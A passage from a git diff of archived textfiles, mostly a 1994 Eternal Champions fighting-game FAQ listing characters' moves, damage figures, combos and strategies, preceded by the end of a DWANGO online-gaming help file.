this software to add your time.) + +At any time, you can check your remaining online time credits by choosing +that function from the Billing menu. This will display your remaining +time you have for play. + +If, for any reason, some information in the userlist becomes garbled, you +can press the F8 key to reload the userlist. + +If 25-lines vertically isn't enough for you, press the F9 key to toggle +between 25 and 50-line video modes. Try it! + +The ESC key will allow you to exit back to DOS. + +DWANGO is compatible with DOOM, DOOM2 and HERETIC. Try it for yourself! + + + + + + + + + + + + diff --git a/textfiles.com/games/etrnchmp.txt b/textfiles.com/games/etrnchmp.txt new file mode 100644 index 00000000..ec10692f --- /dev/null +++ b/textfiles.com/games/etrnchmp.txt @@ -0,0 +1,2283 @@ + ETERNAL CHAMPIONS FAQ + ------------------------- + version 1.2 + by Dave Woodall + Updated on: Apr 11, 1994 + ------------------------- + + PLEASE NOTE: + -------------------------------------------- + | | + | This document is the collective work of | + | several individuals, and is public | + | domain material. Also, this document | + | is intended to be printed and used as a | + | reference. You will find ^L (Ctrl-L) | + | codes (the standard page-eject char) | + | every so often, noting start of pages. | + | | + -------------------------------------------- + + NEW IN THIS VERSION: + ------------------------ + + 1) Updated (corrected) Overkill for Midknight's stage. + 2) Added "@" in Moves List to denote "extra air" moves. + 3) Updated strategies for Larcen, Midknight, Rax, Shadow, Trident. + 4) Updated combos for Larcen, and Trident. + 5) Added Character Guides (still need Blade and Jetta). + + ETERNAL CHAMPIONS FAQ CONTENTS: + ---------------------------------- + + Secret Codes + Beginner Tips + Complete Moves List + (includes Damages, Top Moves, Offensive and Defensive Strategies) + Opponent Strategies + OverKill List + Character Guides + Miscellaneous Notes + + ETERNAL CHAMPIONS FAQ CREDITS: + ---------------------------------- + woodall@adrs1.dseg.ti.com (David Woodall) + ar2w+@andrew.cmu.edu (Adam K. Rixey) + dsuggs@dvorak.amd.com (David Suggs) + nbc2569@dbmsmail.dsac.dla.mil (Christopher L Schneider) + ryandhoz@umich.edu (Ryan D Hose) + adamsjd@NeXTwork.Rose-Hulman.Edu (Jason Adams) + jrkst20+@pitt.edu (Jonathan R Kohn) + davidliu@husc8.harvard.edu (David Liu) + libnerk@minerva.cis.yale.edu (Kelsey S. Libner) + dauria@cs.bu.edu (David DAuria) + andersen@snake17.cs.wisc.edu (Eric Andersen) + bc15@ellis.uchicago.edu (The Vampire Lestat) + stimson@leland.Stanford.EDU (Stephen F. Timson) + hhahn@macc.wisc.edu (Harry Hahn) + + ETERNAL CHAMPIONS SECRET CODES + ---------------------------------- + + NOTE: As of 4/11/94, no secret codes are publicly known. The + following are the "most wished for" codes: + + 1) Code to disable computer cheating (using extra I.S.): + (or, a code to allow human cheating) + + 2) Code to play as the Eternal Champion: + + 3) Code to make Overkills always occur: + + 4) Code to become invincible: + + This section will be updated and released as soon as any codes + are known. + + + ETERNAL CHAMPIONS BEGINNER TIPS + ----------------------------------- + + 1. When just beginning, choose a well balanced character and stay with + him/her. The folks on Sega's Game Play lines recommend Xavier as a + good starting character. + + 2. Go into the 1-player practice mode and set your Inner Strength to + "Off" (which gives you unlimited Special Move power), set the CPU + to 4 (the default), and set the time to "Infinite". Cycle through + all the characters until you can beat them easily. Slowly increase + the CPU's ability until you are at 8. + + 3. Now, turn your Inner Strength "On" and the time to "90 seconds". + Practice until you can usually win. The difference here is that you + will have to rely more on normal moves, and can let the clock help + you in certain cases. + + 4. Be willing to change your attacks!!! If you try a particular move + or combo, and it fails every time (against a particular opponent), + don't keep doing it!!! For instance, in some cases a leaping punch + will counter a leaping attack where a leaping kick won't. + + 5. When playing in a "Contest", keep an eye on the clock. Try to get + an early advantage (in terms of damage), then mainly play in a + defensive mode, only taking advantage of obvious opportunities. + When the clock runs low (under 10 seconds), don't attack at all + (unless your behind) - just run and block until the clock runs out. + + 6. Once a move is started, it will complete unless interrupted by a + counter attack. For fastest response time, prepare your next move + by pressing the first set of buttons before your current move is done. + This is especially handy when you get knocked down - you can often + come out of it doing a Throw. + + 7. Make use of your character's special abilities - like being able to + stun your opponent or using extra jumping abilities to avoid attacks + or projectiles. + + + ETERNAL CHAMPIONS MOVE LIST + ------------------------------- + NOTES: + + 1) For each Special Move, I tried to figure out how much Inner Strength + is needed to execute the move, and how much it consumes. I mainly + did this by Insulting the opponent until my I.S. was gone, then + repeatedly tried executing the move until I had enough I.S. for the + move to be allowed. I found out a few curious things: + + a) Sometimes when your I.S. is full, executing a Special Move will not + drain it at all - at least the gauge doesn't change. I suspect that + you can have more I.S. than the gauge shows. + + b) It seems that the more I.S. you have, the more it will consume when + performing some moves. Several of the moves will consume either 0.5 + or 0.75 of the total I.S. - depending on how much you started with. + The numbers I have listed are when the I.S. is low (more critical). + + 2) Some moves can be performed by different button sequences. In this + case, I only listed the simpler sequence - or put the additional + button sequence in parentheses. + + 3) Some moves will have a different name listed in parentheses - for + example: Medium Kick (knee smash). The name in parentheses is + the move that occurs when you use the same button sequence but + your character is standing next to your opponent. + + 4) The damages listed for the Regular Moves is the MAXIMUM damage that + move CAN do. However, some moves have multiple hits and can be + blocked mid way through. This will reduce the amount of damage done. + + 5) Once a Special Move is initiated, Special Moves are disabled until + the current S.M.'s attack, mode or whatever is over. + + 6) Special Moves marked with "*" are those that will stun or freeze the + opponent - making for an easy attack. + + 7) Regular Moves marked with "@" are those that will provide "extra air" + by moving up again (while in the air). For Rax, press U + F > Y to + leap, then hit Y again. Massive air time!!! + + 8) There is a "total damage" number listed with each Combo move. This + number is also the MAXIMUM damage for the entire combo. Usually, + the computer can and will start blocking during the move. This will + reduce the amount of damage done. + + 9) The Top 5 moves are those that can be used very frequently for + effective matches, not necessarily those that do the most damage. + + Legend: + -------------------------------------------------------------- + CB = Charge (Hold) Back (back means away from opponent) + U = Up + D = Down + F = Forward (forward means toward opponent) + + = press buttons at the same time + , = press buttons sequentially + > = hold button(s) while pressing the next ones + + BBBBBB L AAAAA DDDDD EEEEEEE Ratings: + B B L A A D D E --------------- + B B L A A D D E Speed: 2 + BBBBBB L AAAAAAA D D EEEE Endurance: 4 + B B L A A D D E Power: 5 + B B L A A D D E Recovery: 3 + BBBBBB LLLLLLL A A DDDDD EEEEEEE Defense: 3 + Equilibrium: 4 + + + Regular Moves: + + move name: |% damage| button presses: + ------------------------------+--------+--------------------------------- + Kick (knee kick) | 7 ( 8)| A + Lunge Kick (knee kick) | 11 (11)| B + Spin Kick (side kick) | 12 (14)| C + Jumping Side Kick | 8 | U > A + Jumping Crouch Kick | 10 | U > B + Jumping Spin Kick | 13 | U > C + Power Spike Dive | 14 | U + F > C + Crouching Kick | 8 | D > A + Double Crouch Kick | 12 | D > B + High Kick | 14 | D > C + Punch (double punch) | 16 ( 9)| X + Reverse Punch | 10 (11)| Y + Overhead Combo Pnch (dbl pnch)| 18 (16)| Z + Throw | 20 | F > Z (or F > Y) + Jumping Punch | 7 | U > X + Jumping Chop | 10 | U > Y + Jumping Long Punch / Spin | 13 | U > Z + Crouching Elbow Smash | 10 | D > X + Crouching Double Fist Punch | 10 | D > Y + Crouching Palm Thrust | 12 | D > Z + Block | 0 | CB + + Special Moves: + | IS | IS + move name: |% damage| button presses: |used|reqd + -----------------------------------+---+-----------------------+----+---- + * Stun Beam | 0 | CB .5, F + Z |.75 |.75 + Personal Shield | 0 | X + Y + Z |.75 |1.0 + Tracking Blade |15 | CB .5, F + X + Y |.25 |.50 + Straight Blade |15 | CB .5, F + Y + Z |.25 |.25 + Projectile Containment Field | 0 | A + B |.25 |.50 + Wild Fury Attack |20 | A + B + C |.50 |.75 + Backfire | 0 | A + C |.50 |.75 + Power (I.S.) Drain | 0 | CB .5, F + C |.25 |.50 + Insult | 0 | X + Z |.25 |.50 + + Blade's Top 5 Moves: + + 1. Power Spike Dive (U + F > C) + 2. Tracking Blade (CB .5, F + X + Y) + 3. Throw (F > Z) + 4. Wild Fury Attack (A + B + C) + 5. side kick (D > C) + + Combination Moves: + + button presses: | move name: + ----------------------+------------------------ + CB .5, F + X + Y | Tracking Blade + F > Z | Throw (while CPU is blocking) + | (total damage: 20%) + + CB .5, F + X + Y | Tracking Blade + U + F > C | Power Spike Dive + Z | double punch (close) + F | move in + F > Z | Throw + | (total damage: 65%) + + U + F > A | Kick (while leaping) + F | move in + D > X | Crouching Elbow Smash + A + B + C | Wild Fury Attack + | (total damage: 38%) + + U + F > C | Power Spike Dive + D > B | Double Crouch Kick + F | move in + A + B + C | Wild Fury Attack + CB .5, F + Z | Stun Beam + F > Z | Throw + | (total damage: 66%) + + U + F > C | Power Spike Dive + D > B | Double Crouch Kick + F | move in + Z | Overhead Combo Punch + CB .5, F + Z | Stun Beam + F > Z | Throw + | (total damage: 64%) + ----------------------+------------------------ + + Offensive Strategies: + + 1. When standing, use Blade's arms for more damage. When jumping or + crouching, use his legs and feet. + + 2. Stun opponents with the Stun Beam, then move in and hammer away. + + + Defensive Strategies: + + 2. Use Tracking Blades (CB .5, F + X + Y) or side kicks (D > C) to + stop charges. + + + J EEEEEEE TTTTTTT TTTTTTT AAAAA Ratings: + J E T T A A --------------- + J E T T A A Speed: 5 + J EEEE T T AAAAAAA Endurance: 2 + J J E T T A A Power: 4 + J J E T T A A Recovery: 3 + JJJJJ EEEEEEE T T A A Defense: 4 + Equilibrium: 3 + + + Regular Moves: + + move name: |% damage| button presses: + ------------------------------+--------+--------------------------------- + Medium Kick (low kick) | 5 ( 4)| A + Low Kick High (flurry kick) | 8 (17)| B + Somersault (high kick) | 14 (14)| C + Jumping Low Kick | 6 | U > A + Jumping Vertical Spin Kick | 9 | U > B + Jumping Medium Kick | 10 | U > C + Flying Toe Kick | 5,9,11 | U + F > A (A, B, C) + Spring Back then Forward | 4 | D > A + Crouching Kick | 11 | D > C + Punch | 5 ( 4)| X + Palm Thrust (dbl palm thrust) | 8 (11)| Y + Hand Jab (uppercut) | 10 (11)| Z + Throw | 16 | F > Z (or F > Y) + Jumping Chop | 4 | U > X + Jumping Punch | 8 | U > Y + Flying Spin | 10 | U > Z + Flying Double Fist Pull | 6 | U + F > X + @ Ceiling Dive | 12 | U + F > Z + Flip Away | 5 | D > X + Crouching Double Fist Pull | 9 | D > Y + Uppercut | 11 | D > Z + Block | 0 | CB + + Special Moves: + | IS | IS + move name: |% damage| button presses: |used|reqd + -----------------------------------+---+-----------------------+----+---- + Flying Choke Hold |15 | CB .5, F + Z |.50 |.75 + Phase | 0 | X + Y + Z (1 sec) |.25 |.50 + Resonate (do while Phased) | 0 | A + C (.5 sec) |.50 |.50 + Ricochet Left |12 | D .5, U + A |.50 |.75 + Ricochet Right |12 | D .5, U + C |.50 |.75 + Bladerang (single hit) |10 | CB .5, F + X |.25 |.50 + Bladerang (double hit) |10 | CB .5, F + Y |.25 |.50 + Ceiling Grab | 0 | D .5, U + Y |.25 |.75 + Death Dive (do after Ceiling Grab) | 0 | C |.00 |.00 + Moving Cork Screw (left) | 8 | A + B |.25 |.50 + Moving Cork Screw (right) | 8 | B + C |.25 |.50 + Insult | 0 | X + Z |.25 |.50 + + Jetta's Top 5 Moves: + + 1. Phase (X + Y + Z) + 2. Ceiling Dive (U + F > Z) + 3. Spring Back then Forward (D > A) + 4. Somersault (C) + 5. Flurry Kick (close B) + + + Combination Moves: + + button presses: | move name: + ----------------------+------------------------ + U + F > C | Flying Toe Kick + D > Y | Crouching Double Fist Pull + A + B (or B + C) | Moving Cork Screw (left or right) + | (total damage: 28%) + + D > A | Spring Back then Forward + D > X | Flip Away + CB .5, F + Y | Bladerang (double hit) + | (total damage: 19%) + + U + F > Z | Ceiling Dive + A + B | Moving Cork Screw + B | flurry kick (close) + | (total damage: 37%) + + U + F > A | Jumping Low Kick + Z | Hand Jab + F | move in + B | Low Kick High + CB .5, F + Z | Flying Choke Hold + | (total damage: 38%) + + D > A | Spring Back then Forward + CB .5, F + Z | Flying Choke Hold + | (total damage: 19%) + + D .5, U + Y | Ceiling Grab + C | Death Dive + F > Z | Throw + | (total damage: 16%) + ----------------------+------------------------ + + + Offensive Strategies: + + 1. When standing or jumping (straight up), use Jetta's kick moves. + When crouching or leaping forward, use her punch moves. + + 2. Phase often (and Resonate too). + + 3. Attack quickly, then run. Repeat. + + + Defensive Strategies: + + 1. Use Bladerangs to keep opponents away. + + L AAAAA RRRRRR CCCCC EEEEEEE N N Ratings: + L A A R R C C E NN N --------------- + L A A R R C E N N N Speed: 3 + L AAAAAAA RRRRRR C EEEE N N N Endurance: 4 + L A A R R C E N N N Power: 4 + L A A R R C C E N NN Recovery: 4 + LLLLLLL A A R R CCCCC EEEEEEE N N Defense: 4 + Equilibrium: 2 + + + Regular Moves: + + move name: |% damage| button presses: + ------------------------------+--------+--------------------------------- + Advancing Kick (low kick) | 5 ( 8)| A + Medium Kick (high kick) | 9 ( 8)| B + High Kick (low kick) | 12 (11)| C + Jumping Kneel Kick | 5 | U > A + Jumping High Kick | 9 | U > B + Jumping Reverse Kick | 11 | U > C + Flip Kick | 9 | U + A + Flying Knee Smash | 7 | U + F > A + Flying Leg Jab | 10 | U + F > B + Flying Toe Kick | 12 | U + F > C + Grappling Hook Attack | 6 | D > A + Undercut Kick | 8 | D > B + Sliding Undercut Kick | 10 | D > C + Punch | 5 | X + Uppercut (straight punch) | 8 (10)| Y + Straight Punch (dbl uppercut) | 12 (13)| Z + Throw | 18 | F > Z (or F > Y) + Jumping Straight Punch | 7 | U > X (or U + F > X) + Jumping Low Punch | 8 | U > Y (or U + F > Y) + Jumping High Punch | 11 | U > Z + Flying Knuckle Sweep | 13 | U + F > Z + Crouching High Punch | 6 | D > X + Crouching Hard Punch | 9 | D > Y + Crouching Uppercut | 11 | D > Z + Block | 0 | CB + + Special Moves: + | IS | IS + move name: |% damage| button presses: |used|reqd + -----------------------------------+---+-----------------------+----+---- + Ceiling Crawl | 0 | D 1.0, U + C |.25 |.50 + Ceiling Drop |25 | D + Y (or Z) |.00 |.00 + Air Sweep |15 | A + C |.50 |.75 + Long Distance Sweep |15 | CB .5, F + Z |.25 |.25 + Power Sweep |18 | A + B + C (1.5 sec) |.50 |.75 + Reflect Back Projectiles |?? | CB + X | ?? | ?? + Sai Throw |11 | CB .5, F + Y |.25 |.50 + Swinging Hammer Fist |17 | X + Y + Z |.25 |.00 + Insult | 0 | X + Z |.25 |.50 + + Larcen's Top 5 Moves: + + 1. Flip Kick (U + A) + 2. Grappling Hook Attack (D > A) + 3. Power Sweep (A + B + C) + 4. Swinging Hammer Fist (X + Y + Z) + 5. Sliding Undercut Kick (D > C) + + + Combination Moves: + + button presses: | move name: + ----------------------+------------------------ + U + F > B | Flying Leg Jab + D > B | Undercut Kick + F | move in + U + F > C | Flying Toe Kick + CB .5, F + Y | Sai Throw + | (total damage: 41%) + + U + F > C | Flying Toe Kick + D > B | Undercut Kick + D > B | Undercut Kick + X + Y + Z | Swinging Hammer Fist + | (total damage: 45%) + + U + F > B | Flying Leg Jab + Z | double uppercut (close) + A + C | Air Sweep + | (total damage: 37%) + + U + F > B | Flying Leg Jab + D > B | Undercut Kick + B | Medium Kick + Z | Straight Punch + | (total damage: 39%) + + A + B + C | Power Sweep + X + Y + Z | Swinging Hammer Fist + | (total damage: 35%) + ----------------------+------------------------ + + Offensive Strategies: + + 1. Overall, Larcen's kicks are slightly more potent than his punches. + When leaping forward however, the punches are stronger. + + 2. Use repeated Z punches (normal and close) against male characters. + Use jump kicks and hit-n-run against the female. + + Defensive Strategies: + + 1. Use the Flip Kick (U + A) to counter aerial attacks. + + 2. Use the Power Sweep (A + B + C) when cornered. + + 3. Use Reflect Back Projectiles (CB + X) to counter flying objects. + + M M I DDDD K K N N I GGGG H H TTTTTT Ratings: + MM MM I D D K K NN N I G G H H T --------------- + M M M M I D D K K N N N I G H H T Speed: 5 + M M M I D D KKK N N N I G GGG HHHHHH T Endurance: 3 + M M I D D K K N N N I G G H H T Power: 4 + M M I D D K K N NN I G G H H T Recovery: 2 + M M I DDDD K K N N I GGGGG H H T Defense: 4 + Equilibrium: 3 + + + Regular Moves: + + move name: |% damage| button presses: + ------------------------------+--------+--------------------------------- + Medium Kick (high kick) | 5 ( 7)| A + Advancing High Kick (pounding)| 9 ( 8)| B + High Kick (high foot sweep) | 9 (11)| C + Jumping High Kick | 5 | U > A + Jumping Spin Kick | 9 | U > B (or U > C) + Flying Leg Jab | 6 | U + F > A + Flying Spin Kick | 9 | U + F > B + @ Flying Power Leg Jab | 10 | U + F > C + Crouching Low Kick | 5 | D > A + Back Roll Twirl Kick | 8 | D > B + Tornado Attack | 10 | D > C + Punch (double thrust) | 6 (10)| X + Palm Strike (triple hit) | 9 (13)| Y + Arm Sweep (triple combo) | 12 (16)| Z + Shoulder Slam Throw | 18 | F > Z (or F > Y) + Jumping Medium Punch | 6 | U > X + Jumping High Punch | 10 | U > Y + Jumping Downward Arm Sweep | 10 | U > Z + Flying High Punch | 10 | U + F > X + Flying Boxing Punch | 9 | U + F > Y + Flying Downward Thrust | 11 | U + F > Z + Crouching Double Punch | 8 | D > X + Crouching High Punch | 9 | D > Y + Crouching Uppercut | 11 | D > Z + Block | 0 | CB + + Special Moves: + | IS | IS + move name: |% damage| button presses: |used|reqd + -----------------------------------+---+-----------------------+----+---- + Life Drain (be close) |17 | F + X + Y + Z |.50 |.75 + Ceiling Ram (be close) | 8 | D .5, U + C |.25 |.50 + * Bedazzle | 0 | X + Y + Z |.50 |.50 + Dispel | 0 | A + B + C |.75 |.50 + Mist Attack |15 | A + C |.50 |.75 + Flying Wall Smash |13 | CB .5, F + Z |.50 |.75 + Overhead Stomach Punch (be close) |18 | F + A + B + C |.25 |.50 + Insult | 0 | X + Z |.25 |.50 + + Midknight's Top 5 Moves: + + 1. Tornado Attack (D > C) + 2. Shoulder Slam Throw (F > Z) + 3. Palm Strike (triple hit) (close Y) + 4. Ceiling Ram (D .5, U + C) + 5. Crouching Uppercut (D > Z) + + Combination Moves: + + button presses: | move name: + ----------------------+------------------------ + U + F > A | Flying Leg Jab + Y | triple hit (close) + D > B | Back Roll Twirl Kick + CB .5, F + Z | Flying Wall Smash + | (total damage: 36%) + + U + F > A | Flying Leg Jab + D > Z | Crouching Uppercut + F | move in + D > X | Crouching Double Punch + | (total damage: 25%) + + U + F > A | Flying Leg Jab + F + X + Y + Z | Life Drain (be close) + | (total damage: 24%) + + U + F > A | Flying Leg Jab + D > X | Crouching Double Punch + D > C | Tornado Attack + A + C | Mist Attack + | (total damage: 39%) + + D > C | Tornado Attack + D > C | Tornado Attack + X + Y + Z | Bedazzle + F > Z | Shoulder Slam Throw + | (total damage: 38%) + ----------------------+------------------------ + + + Offensive Strategies: + + 1. Across the board, Midknight's punches are better than his kicks. + + 2. Keep Midknight up close where he's very deadly. Use repeated + Y, Z , F > Y or F > Z when you have'em cornered. + + 3. Get up close fast with the Flying Wall Smash (CB .5, F + Z). + + + Defensive Strategies: + + 1. Break out of an attack with the Tornado Attack (D > C). + + RRRRRR AAAAA X X Ratings: + R R A A X X --------------- + R R A A X X Speed: 3 + RRRRRR AAAAAAA X Endurance: 5 + R R A A X X Power: 4 + R R A A X X Recovery: 3 + R R A A X X Defense: 2 + Equilibrium: 4 + + + Regular Moves: + + move name: |% damage| button presses: + ------------------------------+--------+--------------------------------- + Medium Leg Sweep (knee kick) | 7 ( 7)| A + Medium Kick (hard knee kick) | 9 (10)| B + Power Kick (toe pounding) | 11 (35)| C + Jumping Medium Kick | 7 | U > A + Jumping Reverse Kick | 8 | U > B + Jumping Burners | 11 | U > C + Flying Knee Smash | 8 | U + F > A + Flying Leg Drive | 10 | U + F > B + Flying Afterburner Drive | 13 | U + F > C + Undercut Kick | 6 | D > A + Foot Sweep | 9 | D > B + Afterburner Thrust | 12 | D > C + Light Punch (lght elbow smash)| 5 ( 6)| X + Medium Punch (med elbow smash)| 6 ( 7)| Y + Hard Punch (hard elbow smash) | 11 (12)| Z + Body Slam | 18 | F > Z (or F > Y) + Jumping Medium Punch | 7 | U > X + Jumping High Punch | 8 | U > Y + Vertical Twirl | 12 | U > Z + Flying Medium Jab | 7 | U + F > X + @ Flying Powered High Punch | 7 | U + F > Y + Flying Downward Hit | 12 | U + F > Z + Crouching Medium Punch | 5 | D > X + Crouching High Punch | 6 | D > Y + Powered Forward Thrust | 11 | D > Z + Block | 0 | CB + + Special Moves: + | IS | IS + move name: |% damage| button presses: |used|reqd + -----------------------------------+---+-----------------------+----+---- + * Lock and Load |10 | A + B |.50 |.50 + Air Jets | 5 | D .5, U + B |.50 |.75 + Cyber Punch |16 | X + Y + Z |.25 |.50 + Cyber Kick |18 | A + B + C |.25 |.50 + Jet Knee Smash |15 | CB .5, F + C |.50 |.75 + Overload |20 | A + C |.50 |.75 + Turbine | 0 | CB .5, F + A |.50 |.75 + Insult | 0 | X + Z |.25 |.50 + + Rax's Top 5 Moves: + + 1. Afterburner Thrust (D > C) + 2. Flying Downward Hit (U + F > Z) + 3. Lock and Load (A + B) + 4. toe pounding (close C) + 5. Overload (A + C) + + + Combination Moves: + + button presses: | move name: + ----------------------+------------------------ + U + F > A | Flying Knee Smash + CB .5, F + A | Turbine + C | toe pounding (close) + | (total damage: 43%) + + U + F > Z | Flying Downward Hit + C | toe pounding (close) + A + C | Overload + | (total damage: 67%) + + U + F > B | Flying Leg Drive + Y | Medium Punch + A | Medium Leg Sweep + F | move in + X + Y + Z | Cyber Punch + | (total damage: 39%) + + U + F > B | Flying Leg Drive + D + A | Undercut Kick + D + A | Undercut Kick + CB .5, F + C | Jet Knee Smash + | (total damage: 37%) + ----------------------+------------------------ + + Offensive Strategies: + + 1. Generally, use Rax's legs more since they inflict more damage. + + 2. Stun or surprise opponents, get in close, then utilize the + "toe pounding" (C) move - 35% damage! + + 3. Close distances with the Jet Knee Smash (CB .5, F + C). + + 4. Use Rax's Undercut Kick (D > A) or Afterburner Thrust (D > C) + to knock your opponents down. + + Defensive Strategies: + + 1. Use Turbine (CB .5, F + A) to escape from being cornered. + + 2. Use Flying Downward Hit (U + F > Z) to counter aerial attacks + or to scrape someone off the ceiling. + + 3. Grab "extra air" (U + F > Y, then Y again) to stay out of harm's + way for a short time. + + + SSSSS H H AAAAA DDDDD OOOOO W W Ratings: + S S H H A A D D O O W W --------------- + S H H A A D D O O W W Speed: 4 + SSSSS HHHHHHH AAAAAAA D D O O W W W Endurance: 3 + S H H A A D D O O W W W Power: 3 + S S H H A A D D O O W W W W Recovery: 2 + SSSSS H H A A DDDDD OOOOO W W Defense: 5 + Equilibrium: 4 + + Regular Moves: + + move name: |% damage| button presses: + ------------------------------+--------+--------------------------------- + Fast Kick (low kick) | 3 ( 5)| A + Medium Kick (high kick) | 8 ( 8)| B + Reverse Kick (360 kick) | 11 (12)| C + Jumping High Kick | 8 | U > A + Jumping Low Kick | 4 | U > B + Jumping 360 Kick | 11 | U > C + @ Flying Powered Twirl Kick | 6 | U + F > A + Flying Leg Jab | 9 | U + F > B + Flying High Kick | 10 | U + F > C + Fast Undercut | 10 | D > A + 360 Leg Sweep | 10 | D > B + Tumbling Attack | 12 | D > C + Fast Punch (elbow smash) | 5 ( 7)| X + Medium Punch (left hand punch)| 8 ( 9)| Y + Hard Punch (straight punch) | 11 (11)| Z + Throw | 15 | F > Z (or F > Y) + Jumping Medium Jab | 10 | U > X (or U + F > X) + Jumping High Punch | 13 | U > Y (or U + F > Y) + Jumping Low Punch | 8 | U > Z (or U + F > Z) + Crouching Fast Punch | 4 | D > X + Crouching Medium Punch | 10 | D > Y + Tumbling Hard Punch | 11 | D > Z + Block | 0 | CB + + Special Moves: + | IS | IS + move name: |% damage| button presses: |used|reqd + -----------------------------------+---+-----------------------+----+---- + Shadow Mode | 0 | A + B + C (3 sec) |.75 |1.0 + Twirling Fan Attack (1 twirl) | 4 | CB .5, F + A |.50 |.75 + Twirling Fan Attack (2 twirls) | 8 | CB .5, F + B |.50 |.75 + Twirling Fan Attack (3 twirls) |12 | CB .5, F + C |.50 |.75 + High Jump Angle Kick |12 | D .5, U + B |.25 |.50 + Smoke Screen (appear at opp.) | 0 | X + Y + Z |.25 |.50 + Smoke Screen (appear at left) | 0 | X + Y + Z, A + B |.25 |.50 + Smoke Screen (appear at right) | 0 | X + Y + Z, B + C |.25 |.50 + Smoke Screen (appear at left ceil.)| 0 | X + Y + Z, X + Y |.25 |.50 + Smoke Screen (appear at rght ceil.)| 0 | X + Y + Z, Y + Z |.25 |.50 + Ninja Shuriken (slow or fast) |11 | CB .5, F + (X or Y) |.25 |.50 + Ninja Knife (slow or fast) |11 | CB .5, U + F +(X or Y)|.25 |.50 + Ninja Smoke Bomb (slow or fast) |11 | CB .5, D +F +(X or Y) |.25 |.50 + Flying Mine Uzume-Bi |18 | CB .5, F + Z |.50 |.75 + Flying Step Tobi Ashi (short) | 8 | A + B |.25 |.50 + Flying Step Tobi Ashi (medium) | 8 | B + C |.25 |.50 + Flying Step Tobi Ashi (super) | 8 | A + C |.25 |.50 + Insult | 0 | X + Z |.25 |.50 + + Shadow's Top 5 Moves: + + 1. Smoke Screen (X + Y + Z) + 2. Throw (F > Z) + 3. Flying Mine Uzume-Bi (CB .5, F + Z) + 4. Tumbling Attack (D > C) + 5. Jumping Low Punch (U + F > Z) + + + Combination Moves: + + button presses: | move name: + ----------------------+------------------------ + U + F > B | Flying Leg Jab + D > Y | Crouching Medium Punch + CB .5, F + C | Twirling Fan Attack (3 twirls) + | (total damage: 31%) + + U + F > B | Flying Leg Jab + D > Z | Tumbling Hard Punch + B | high kick (close) + CB .5, F + (X or Y) | Ninja Shuriken (slow or fast) + | (total damage: 39%) + + D > Z | Tumbling Hard Punch + C | 360 kick (close) + CB .5, F + Z | Flying Mine Uzume-Bi + | (total damage: 40%) + + A + B + C (3 sec) | Shadow Mode + D > C | Tumbling Attack + Z | Hard Punch + F > Z | Throw + | (total damage: 38%) + ----------------------+------------------------ + + + Offensive Strategies: + + 1. Almost without exception, Shadow's punches are better than her + kicks. Many are even stronger than some of her Special Moves!!! + + 2. Start matches with the Shadow mode and punch quickly!!! + + 3. Use the Smoke Screen (X + Y + Z) followed by (X+Y) or (Y+Z) to + knock opponents out of the air. + + 4. Use Flying Mine Uzume-Bi (CB .5, F + Z) to stop a charging + opponent in their tracks (does well against Slash & Trident). + + 5. Play her using a "hit-n-run" offense. + + + Defensive Strategies: + + 1. Use the Smoke Screen (X + Y + Z, ...) or Throw (F > Z) if cornered. + + + SSSSS L AAAAA SSSSS H H Ratings: + S S L A A S S H H --------------- + S L A A S H H Speed: 3 + SSSSS L AAAAAAA SSSSS HHHHHHH Endurance: 4 + S L A A S H H Power: 5 + S S L A A S S H H Recovery: 4 + SSSSS LLLLLLL A A SSSSS H H Defense: 2 + Equilibrium: 3 + + Regular Moves: + + move name: |% damage| button presses: + ------------------------------+--------+--------------------------------- + Low Kick (knee smash) | 6 ( 5)| A + High Kick (low kick) | 8 ( 7)| B + Tumble Forward | 11 | C + Jumping Leg Lift | 5 | U > A + Jumping Leg Extend | 8 | U > B + Jumping Foot Drive | 11 | U > C + Flying Pounce | 8 | U + F > A + Flying Club Ram | 10 | U + F > B (or U + F > Y) + Flying Foot Drive | 11 | U + F > C + Crouching Toe Jab | 6 | D > A + Crouching Low Kick | 7 | D > B + Crouching 360 Club Swing | 16 | D > C (or D > Z) + Upward Club Swing (lght punch)| 6 ( 5)| X + Downward Club Swing (med pnch)| 8 ( 9)| Y + Horiz Club Swing (hard punch) | 12 (11)| Z + Throw Straight Up | 0 | F > Z + Jumping Upward Club Swing | 6 | U > X + Jumping Downward Club Swing | 8 | U > Y + Jumping Horizontal Club Swing | 11 | U > Z + Flying Claw Scratch | 7 | U + F > X + Flying Overhead Club Swing | 13 | U + F > Z + Crouching Finger Jab | 6 | D > X + Crouching Club Jab | 9 | D > Y + Block | 0 | CB + + Special Moves: + | IS | IS + move name: |% damage| button presses: |used|reqd + -----------------------------------+---+-----------------------+----+---- + Massive Club Swing | 6 | X + Y + Z |.50 |.75 + Double Footed Swing Kick |14 | A + C |.25 |.50 + De-Claw |12 | CB .5, F + Z |.25 |.50 + * Power Thud Club Swing | 0 | Y + Z |.50 |.75 + Spinal Crush (be close) |16 | F + Y |.75 |1.0 + Running Head Butt |15 | CB .5, F + C |.25 |.50 + Bat Back Projectile | 0 | X + Y (just bfore hit)|.25 |.50 + Insult | 0 | X + Z |.25 |.50 + + Slash's Top 5 Moves: + + 1. Power Thud Club Swing (Y + Z) + 2. Flying Overhead Club Swing (U + F > Z) + 3. Spinal Crush (F + Y) + 4. Crouching 360 Club Swing (D > Z) + 5. Tumble Forward (C) + + Combination Moves: + + button presses: | move name: + ----------------------+------------------------ + Y + Z | Power Thud Club Swing + CB .5, F + C | Running Head Butt + F + Y | Spinal Crush + | (total damage: 31%) + + U + F > C | Flying Foot Drive + B | low kick (close) + Z | Horizontal Club Swing + CB .5, F + C | Running Head Butt + | (total damage: 46%) + + U + F > Z | Flying Overhead Club Swing + A + C | Double Footed Swing Kick + Z | Horizontal Club Swing + | (total damage: 39%) + + U + F > Z | Flying Overhead Club Swing + D > B | Crouching Low Kick + D > C | Crouching 360 Club Swing + CB .5, F + Z | De-Claw + | (total damage: 46%) + + U + F > C | Flying Foot Drive + X + Y + Z | Massive Club Swing + C | Tumble Forward + Z | Horizontal Club Swing + | (total damage: 40%) + ----------------------+------------------------ + + Offensive Strategies: + + 1. Slash's strongest feature is his club. Use it crouching, up close, + leaping, etc... + + 2. When close execute the Spinal Crush (F + Y). + + 3. Stun opponents with the Power Thud (Y + Z) then move in and + stomp on 'em. + + 4. Don't try to Throw (F > Z) unless you're good at hitting the + opponent when he/she comes down - if you miss, you'll be tired + (watch Slash's tongue wag) which is just as bad as being stunned! + + + Defensive Strategies: + + 1. Get out of a corner with the Running Head Butt (CB .5, F + C). + + TTTTTTT RRRRRR I DDDDD EEEEEEE N N TTTTTTT Ratings: + T R R I D D E NN N T --------------- 